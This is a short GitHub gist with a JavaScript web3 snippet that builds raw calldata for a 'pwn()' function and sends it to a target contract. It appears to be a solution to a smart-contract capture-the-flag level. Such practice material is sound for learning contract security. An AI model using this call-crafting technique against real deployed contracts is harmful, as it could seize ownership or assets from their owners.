Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Created January 15, 2022 08:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tennisonchan/115e5e3fce2ae33573a34b18be190a2a to your computer and use it in GitHub Desktop.
Save tennisonchan/115e5e3fce2ae33573a34b18be190a2a to your computer and use it in GitHub Desktop.
const signature = web3.utils.sha3('pwn()').slice(0,10);
const valueToUpdate = 1234;
const msgData = signature + web3.utils.toHex(valueToUpdate).slice(2).padStart(64, '0');
await web3.eth.sendTransaction({
from: player,
to: contract.address,
gas: 2999992,
data: msgData},
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment